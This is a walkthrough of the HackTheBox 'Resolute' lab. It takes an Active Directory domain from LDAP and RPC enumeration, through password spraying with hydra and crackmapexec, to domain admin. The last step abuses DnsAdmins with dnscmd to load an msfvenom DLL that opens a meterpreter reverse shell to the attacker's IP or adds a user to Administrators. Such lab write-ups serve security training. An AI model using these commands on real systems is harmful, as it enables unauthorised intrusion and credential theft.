This is the Write-up/Walkthrough of the RESOLUTE Machine from Hackthebox.
NMAP SCAN:
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2023-08-09 13:09:28Z)135/tcp open msrpc syn-ack Microsoft Windows RPC139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)445/tcp open syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)464/tcp open kpasswd5? syn-ack593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped syn-ack3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)3269/tcp open tcpwrapped syn-ack
Domain found: megabank.local, BIOS Name: Resolute
No file shares were found on smb, after I used ldapsearch to find more info about the domain, redirected the output to the file, and extracted all users.
ldapsearch -H ldap://10.10.10.169 -D '' -w '' -b "DC=megabank,DC=local" > ldap_searchcat ldap_search | grep sAMAccountName | awk '{print $2}' > users.txt#remove extra groups name first word
after that used rpcclient, to enumerate more about the domain and by querying “querydispinfo”, found a password set for marko account, “Welcome123!”, then will use this password to brute the users account that I found.
rpcclient -U "" -N 10.10.10.169pcclient $> querydispinfo
after that used, hydra to brute-force the users with that password, and found a valid password of smb for Melanie user.
hydra -L users.txt -p 'Welcome123!' smb://10.10.10.169
And, username and password of winrm service is also the same, I brute-forced it using crackmapexec
crackmapexec winrm 10.10.10.169 -u users.txt -p 'Welcome123!'
Login to using evil-winrm and got the user flag.
after enumerating find the hidden directory in C:\ named PSTransscripts, going deeper into this directory found a file that contains PowerShell Transcript, reading the file and found the password of Ryan user.
after connecting to ryan user using evil-winrm, found that the group is in the Contractors group and this group is a member of DnsAdmins, looking for DnsAdmins abuse on the Internet found a way, from which I can inject a vulnerable payload using dnscmd and stop and start the service to get the reverse shell.
Ryan is a member of Contractors’ group
and Checking for localgroup members, found there is a DnsAdmins group, checking for its member, found that the Contractors group is a member of this group, and ryan is in this group.
I followed this blog to get the Administrator account/DA, read the blog for more info.
I will show two methods for getting an Administrator account, first one is getting the shell directory, and second one is modifying the user account or changing the administrator password directory.
Note: In a real-world environment, it is not suggested to change the credentials of any users.
Method 1:
Generating malicious dll using msfvenom to get the reverse shell.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.48 LPORT=1337 -f dll -o h311.dll
after that, open smbserver where generate dll is present, using impacket.
impacket-smbserver smb2support share .
On ryan machine, using dnscmd to load generated malicious dll
dnscmd /config /serverlevelplugindll \\YOUR-TUNNEL-IP\share\h311.dll
Start Metasploit listener:
msfconsole -qmsf6> use multi/handlermsf6> set payload windows/x64/meterpreter/reverse_tcpmsf6> set lhost tun0msf6> set lport 1337msf6> run#now wait for the connection
after that stop the dns service and start again, make sure to you started the Metasploit listener.
sc.exe stop dnssc.exe start dns
Method 2:
Generating payload with msfvenom but assigning the command in it directly:
msfvenom -p windows/x64/exec cmd='net localgroup Administrators ryan /add /domain' -f dll -o h311_add.dll
after that, open smbserver where generate dll is present, using impacket.
impacket-smbserver smb2support share .
On ryan machine, using dnscmd to load generated malicious dll
dnscmd /config /serverlevelplugindll \\YOUR-TUNNEL-IP\share\h311.dll
after that stop the dns service and start again, make sure you started the metasploit listener.
sc.exe stop dnssc.exe start dns
now, I can check, ryan is on the Administrators group.
but, in this lab, there is note.txt in ryan Desktop, saying any changes to the administrator account reverted back within 1 minute, there are also many methods to get an administrator account using these methods, try some methods on your own.
